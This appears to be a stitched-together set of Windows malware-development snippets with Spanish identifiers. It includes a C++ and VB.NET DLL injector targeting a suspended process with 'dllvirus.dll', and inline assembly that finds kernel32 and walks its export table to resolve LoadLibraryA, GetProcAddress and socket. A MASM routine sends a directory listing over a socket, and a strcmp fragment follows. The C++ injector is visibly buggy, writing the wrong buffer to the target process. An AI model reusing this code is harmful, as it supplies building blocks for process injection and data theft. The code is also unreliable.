#include <windows.h>
#include <iostream>
using namespace std;

int main()
{

//********* ESTRUCTURAS ***********
 
 PROCESS_INFORMATION Process_Info = {0};
 STARTUPINFO StartUpInfo = {0};

//********** VARIABLES ************

 HMODULE Modulo;
 FARPROC Funcion;
 LPCVOID Virtual;
 HANDLE ThreadId;
 int Ret;

 wchar_t App_Name[] = L"Hola.exe";
 wchar_t Dll_Name[] = L"dllvirus.dll";  

    //************ INICIO *************

StartUpInfo.cb = sizeof(StartUpInfo);

cout << endl;

Modulo = LoadLibraryA("kernel32.dll");
cout << "Kernel32 BaseAddress: " << Modulo << endl;
Funcion = GetProcAddress(Modulo, "LoadLibraryA");
cout << "LoadLibraryA BaseAddress: " << Funcion << endl;

cout << endl;

// NORMAL_PRIORITY_CLASS
// CREATE_SUSPENDED
Ret = CreateProcess(App_Name, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &StartUpInfo, &Process_Info);
cout << "CreateProcess ERROR CODE: " << GetLastError() << endl;
cout << "CreateProcess return value: " << Ret << endl;

cout << endl;

cout << "*************************" << endl;
cout << "* hProcess: " << Process_Info.hProcess << "\t*" << endl;
cout << "* hThread: " << Process_Info.hThread << "\t*" << endl;
cout << "* dwThreadId: " << Process_Info.dwThreadId << "\t*" << endl;
cout << "* dwProcessId: " << Process_Info.dwProcessId << "\t*" << endl;
cout << "*************************" << endl;

cout << endl;
int DllLen = 12;
cout << "dllvirus.dll" << " LEN: " << DllLen << endl;

cout << endl;

Virtual = VirtualAllocEx(Process_Info.hProcess, NULL, DllLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
cout << "VirtualAllocEx ERROR CODE: " << GetLastError() << endl;
cout << "VirtualAllocEx: " << Virtual << endl;

cout << endl;

Ret = WriteProcessMemory(Process_Info.hProcess, &Virtual, &DllLen, DllLen, NULL);
cout << "WriteProcessMemory ERROR CODE: " << GetLastError() << endl;
cout << "WriteProcessMemory return value: " << Ret << endl;

cout << endl;

ThreadId = CreateRemoteThread(Process_Info.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)Funcion, &Virtual, 0, NULL);
cout << "CreateRemoteThread ERROR CODE: " << GetLastError() << endl;
cout << "CreateRemoteThread Handle: " << ThreadId << endl;

cout << endl;
cout << "Waiting for CreateRemoteThread..." << endl;
cout << endl;

WaitForSingleObject(Process_Info.hProcess, 1000);

cout << endl;
cout << "Lunching App..." << endl;
cout << endl;

ResumeThread(Process_Info.hProcess);

cout << endl;
cout << "Closing Handle..." << endl;
cout << endl;

CloseHandle(Process_Info.hProcess);

cout << endl;
cout << "End :)" << endl;
cout << endl;

cin.get();

return 0;
}

    Private Sub BtnLoad_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnLoad.Click

        Dim LoadLibHandle As Integer
        Dim GetProcHandle As Integer
        Dim StartUp As New STARTUPINFO
        Dim ProcessInfo As New PROCESS_INFORMATION
        Dim DllTam As Integer
        Dim VirtualRet As Integer

        Dim bytes() As Byte
        bytes = System.Text.Encoding.Unicode.GetBytes(DllName)

        Dim Retorno As Integer

        LoadLibHandle = LoadLibraryA("kernel32.dll")
        GetProcHandle = GetProcAddress(LoadLibHandle, "LoadLibraryA")

        Retorno = CreateProcess(txtExeF.Text, vbNullString, vbNullString, vbNullString, vbNullString, PROCESS_CREATION_FLAG.CREATE_SUSPENDED, vbNullString, vbNullString, StartUp, ProcessInfo)

        DllTam = Len(txtDllName.Text)

        VirtualRet = VirtualAllocEx(ProcessInfo.hProcess, vbNullString, DllTam, MEM_COMMIT, PROCESS_ALL_ACCESS)
        WriteProcessMemory(ProcessInfo.hProcess, VirtualRet, bytes, DllTam, vbNullString)

        Try

            CreateRemoteThread(ProcessInfo.hProcess, 0, 0, GetProcHandle, VirtualRet, 0, 0)

        Catch ex As Exception

            MsgBox(ex.ToString)

        End Try

        ResumeThread(ProcessInfo.hProcess)

    End Sub

#include <windows.h>
#include <stdio.h>
#include <iostream>
using namespace std;

int Kernel32();
DWORD GetOffset(DWORD Modulo, char *Funcion, DWORD Tamaño);
int LoadLibrari(char *Modulo);

DWORD Krn32 = 0;
DWORD Ws2_32 = 0;
//**************************
DWORD GetProcA = 0;
DWORD LoadLibA = 0;
DWORD Sock = 0;
//**************************
DWORD Contador;
DWORD PEHeader = 0;
DWORD ET = 0;
WORD PosicionEAT = 0;

DWORD Retorno = 0;

int main()
{

Kernel32();
printf("\n\nLa direccion de Memoria de Kernel32.dll es: %8X", Krn32);
printf("\nLa direccion de Memoria de Kernel32.dll con LoadLibraryA es: %8X", LoadLibraryA("Kernel32.dll"));

cout << "\n\n*****************************************************************" << endl;

GetProcA = GetOffset( Krn32, "GetProcAddress", 14 );
printf("La direccion de Memoria de GetProcAddress es: %8X", GetProcA);
printf("\nLa direccion de Memoria de GetProcAddress con GetProcAddress es: %8X", GetProcAddress((HMODULE)Krn32,"GetProcAddress"));

cout << "\n\n*********************************************************************" << endl;

LoadLibA = GetOffset( Krn32, "LoadLibraryA", 12 );
printf("La direccion de Memoria de LoadLibraryA es: %8X", LoadLibA);
printf("\nLa direccion de Memoria de LoadLibraryA con GetProcAddress es: %8X", GetProcAddress((HMODULE)Krn32,"LoadLibraryA"));

cout << "\n\n*********************************************************************" << endl;

Ws2_32 = LoadLibrari("ws2_32.dll");
printf("\nLa direccion de Memoria de Ws2_32.dll es: %8X", Ws2_32);
printf("\nLa direccion de Memoria de Ws2_32.dll con LoadLibraryA es: %8X", LoadLibraryA("Ws2_32.dll"));

cout << "\n\n*********************************************************************" << endl;

Sock = GetOffset( Ws2_32, "socket", 6 );
printf("\nLa direccion de Memoria de socket es: %8X", Sock);
printf("\nLa direccion de Memoria de socket con GetProcAddress es: %8X", GetProcAddress((HMODULE)Ws2_32,"socket"));

cin.get();
}

int Kernel32()
{

__asm{
mov eax, fs:[0x30]
mov eax, [eax + 0x0C]
lea eax, [eax + 0x0C]
NextModule:
mov eax, [eax]
mov ebx, [eax + 0x30]
cmp byte ptr[ebx + 6*2], '3'
jne NextModule
mov ebx, [eax + 0x18]
mov Krn32, ebx
}

return 0;
}
DWORD GetOffset(DWORD Modulo, char *Funcion, DWORD Tamaño)
{

__asm {

mov Contador, -1

mov eax, Modulo
  add eax, [eax+3Ch]
  mov [PEHeader], eax
  add eax, 78h
  mov eax, [eax]
  add eax, Modulo
  mov [ET], eax
  add eax, 20h
mov eax, [eax]
  add eax, Modulo

bucle:

  inc Contador
  mov ebx, [eax]
  add ebx, Modulo
  mov esi, ebx
  add eax, 4
mov edi, Funcion
  mov ecx, Tamaño
  repe cmpsb
  jnz bucle

  mov ecx, [ET]
  mov ecx, [ecx+24h]
  add ecx, [Modulo]
  mov eax, [Contador]
  add eax, eax
  add ecx, eax
  mov ax, word ptr [ecx]
  mov [PosicionEAT], ax

mov eax, [ET]
  mov eax, [eax+1Ch]
  add eax, Modulo
  mov ebx, [Contador]
  rol ebx, 2
  add eax, ebx
  mov eax, [eax]
  add eax, Modulo
mov Retorno, eax

}
cout << "\nEl Ordinal es: " << Contador << endl;
return Retorno;
}
int LoadLibrari(char *Modulo)
{
__asm{
push [Modulo]
call [LoadLibA]
mov Retorno, eax
}

return Retorno;
}

Buscar proc FtoF:DWORD

invoke FindFirstFile, FtoF, addr SFile
cmp eax, -1
je NoEncontrado
mov Hand, eax


Buccle:
invoke wsprintf, addr Bufi, addr Envio, addr SFile.cFileName
invoke send, sock, addr Bufi, sizeof Bufi, 0
cmp eax, SOCKET_ERROR
je ErSo
invoke FindNextFile, Hand, addr SFile
cmp eax, 0
je Salida
jmp Buccle

ErSo:
invoke WSAGetLastError
invoke dwtoa, eax, addr ErrNa
invoke MessageBox, 0, addr ErrNa, addr Titulo, MB_OK

Salida:
invoke FindClose, addr Hand
jmp Fin

NoEncontrado:
invoke send, sock, addr NoE, sizeof NoE, 0

Fin:
ret
Buscar endp

mov ecx, sizeof String1
lea esi, [String1]
lea edi, [String2]
cld
repe cmpsb
je Igual
jmp NoIgual

invoke strcmp, addr String1, addr String2

strcmp proto str1:DWORD, str2:DWORD

mov ecx, sizeof str1
lea esi, [str1]
lea edi, [str2]
cld
repe cmpsb
je Igual
jmp NoIgual

Igual:
mov eax, 0
jmp Exit
NoIgual:
mov eax, 1
Exit:
ret
strcmp endp